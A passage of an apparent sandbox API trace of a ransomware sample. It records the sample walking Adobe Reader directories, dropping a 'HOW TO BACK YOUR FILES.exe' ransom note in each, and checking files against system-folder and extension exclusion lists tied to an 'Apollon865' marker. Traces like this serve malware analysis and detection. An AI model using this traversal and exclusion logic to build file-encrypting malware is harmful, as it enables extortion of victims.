	[0056.970] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.970] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LanguageNames2", cAlternateFileName="LANGUA~1")) returned 1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="Apollon865.txt.exe") returned 1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2=".") returned 1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="..") returned 1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="windows") returned -1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="bootmgr") returned 1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="temp") returned -1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="pagefile.sys") returned -1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="boot") returned 1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="ids.txt") returned 1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="ntuser.dat") returned -1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="perflogs") returned -1
	[0056.970] lstrcmpiW (lpString1="LanguageNames2", lpString2="MSBuild") returned -1
	[0056.970] lstrlenW (lpString="LanguageNames2") returned 14
	[0056.970] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*") returned 63
	[0056.970] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LanguageNames2" | out: lpString1="LanguageNames2") returned="LanguageNames2"
	[0056.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0056.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x5c8f30
	[0056.970] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0056.970] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1
	[0056.970] lstrcmpiW (lpString1="Providers", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.970] lstrcmpiW (lpString1="Providers", lpString2="Apollon865.txt.exe") returned 1
	[0056.970] lstrcmpiW (lpString1="Providers", lpString2=".") returned 1
	[0056.970] lstrcmpiW (lpString1="Providers", lpString2="..") returned 1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="windows") returned -1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="bootmgr") returned 1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="temp") returned -1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="pagefile.sys") returned 1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="boot") returned 1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="ids.txt") returned 1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="ntuser.dat") returned 1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="perflogs") returned 1
	[0056.971] lstrcmpiW (lpString1="Providers", lpString2="MSBuild") returned 1
	[0056.971] lstrlenW (lpString="Providers") returned 9
	[0056.971] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned 76
	[0056.971] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="Providers" | out: lpString1="Providers") returned="Providers"
	[0056.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0056.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599450
	[0056.971] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0056.971] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0
	[0056.971] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.971] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0056.971] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers"
	[0056.971] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0056.971] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.971] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers") returned 71
	[0056.971] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers"
	[0056.971] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.971] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.975] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.975] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a091170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a091170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.975] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.975] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.975] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.975] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a091170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a091170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.975] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.975] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.976] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.976] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.976] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a091170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a091170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.976] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.976] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="PROXIM~1")) returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="Apollon865.txt.exe") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2=".") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="..") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="windows") returned -1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="bootmgr") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="temp") returned -1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="pagefile.sys") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="boot") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="ids.txt") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="ntuser.dat") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="perflogs") returned 1
	[0056.976] lstrcmpiW (lpString1="Proximity", lpString2="MSBuild") returned 1
	[0056.976] lstrlenW (lpString="Proximity") returned 9
	[0056.976] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*") returned 73
	[0056.976] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proximity" | out: lpString1="Proximity") returned="Proximity"
	[0056.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0056.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x599450
	[0056.976] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0056.976] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="PROXIM~1")) returned 0
	[0056.976] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.976] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0056.976] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity"
	[0056.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0056.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.976] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity") returned 81
	[0056.977] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity"
	[0056.977] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.977] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.984] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.984] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a091170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a091170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.984] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.984] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.984] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.984] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a091170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a091170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.984] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.984] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.984] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.984] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.985] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="11.00", cAlternateFileName="")) returned 1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="Apollon865.txt.exe") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2=".") returned 1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="..") returned 1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="windows") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="bootmgr") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="temp") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="pagefile.sys") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="boot") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="ids.txt") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="ntuser.dat") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="perflogs") returned -1
	[0056.985] lstrcmpiW (lpString1="11.00", lpString2="MSBuild") returned -1
	[0056.985] lstrlenW (lpString="11.00") returned 5
	[0056.985] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*") returned 83
	[0056.985] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="11.00" | out: lpString1="11.00") returned="11.00"
	[0056.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0056.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599450
	[0056.985] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0056.985] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a091170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a091170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.985] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.985] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a091170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a091170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0056.985] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.985] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0056.985] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00"
	[0056.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0056.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.985] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00") returned 87
	[0056.985] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00"
	[0056.986] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.986] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.999] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.999] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a0b72d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a0b72d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.000] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.000] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.000] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.000] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a0b72d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a0b72d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.000] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.001] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.001] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.001] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.001] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1b35c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x203800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ara131.lex", cAlternateFileName="")) returned 1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="Apollon865.txt.exe") returned 1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2=".") returned 1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="..") returned 1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="windows") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="bootmgr") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="temp") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="pagefile.sys") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="boot") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="ids.txt") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="ntuser.dat") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="perflogs") returned -1
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2="MSBuild") returned -1
	[0057.001] lstrlenW (lpString="ara131.lex") returned 10
	[0057.001] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*") returned 89
	[0057.001] lstrcpyW (in: lpString1=0x2d3e600, lpString2="ara131.lex" | out: lpString1="ara131.lex") returned="ara131.lex"
	[0057.001] lstrlenW (lpString="ara131.lex") returned 10
	[0057.001] lstrlenW (lpString="Apollon865") returned 10
	[0057.001] lstrlenW (lpString=".dll") returned 4
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2=".dll") returned 1
	[0057.001] lstrlenW (lpString=".lnk") returned 4
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2=".lnk") returned 1
	[0057.001] lstrlenW (lpString=".ini") returned 4
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2=".ini") returned 1
	[0057.001] lstrlenW (lpString=".sys") returned 4
	[0057.001] lstrcmpiW (lpString1="ara131.lex", lpString2=".sys") returned 1
	[0057.001] lstrlenW (lpString="ara131.lex") returned 10
	[0057.002] lstrcpyW (in: lpString1=0x2d3e600, lpString2="ara32.clx" | out: lpString1="ara32.clx") returned="ara32.clx"
	[0057.002] lstrlenW (lpString="ara32.clx") returned 9
	[0057.002] lstrlenW (lpString="Apollon865") returned 10
	[0057.002] lstrlenW (lpString=".dll") returned 4
	[0057.002] lstrcmpiW (lpString1="ara32.clx", lpString2=".dll") returned 1
	[0057.002] lstrlenW (lpString=".lnk") returned 4
	[0057.002] lstrcmpiW (lpString1="ara32.clx", lpString2=".lnk") returned 1
	[0057.002] lstrlenW (lpString=".ini") returned 4
	[0057.002] lstrcmpiW (lpString1="ara32.clx", lpString2=".ini") returned 1
	[0057.002] lstrlenW (lpString=".sys") returned 4
	[0057.002] lstrcmpiW (lpString1="ara32.clx", lpString2=".sys") returned 1
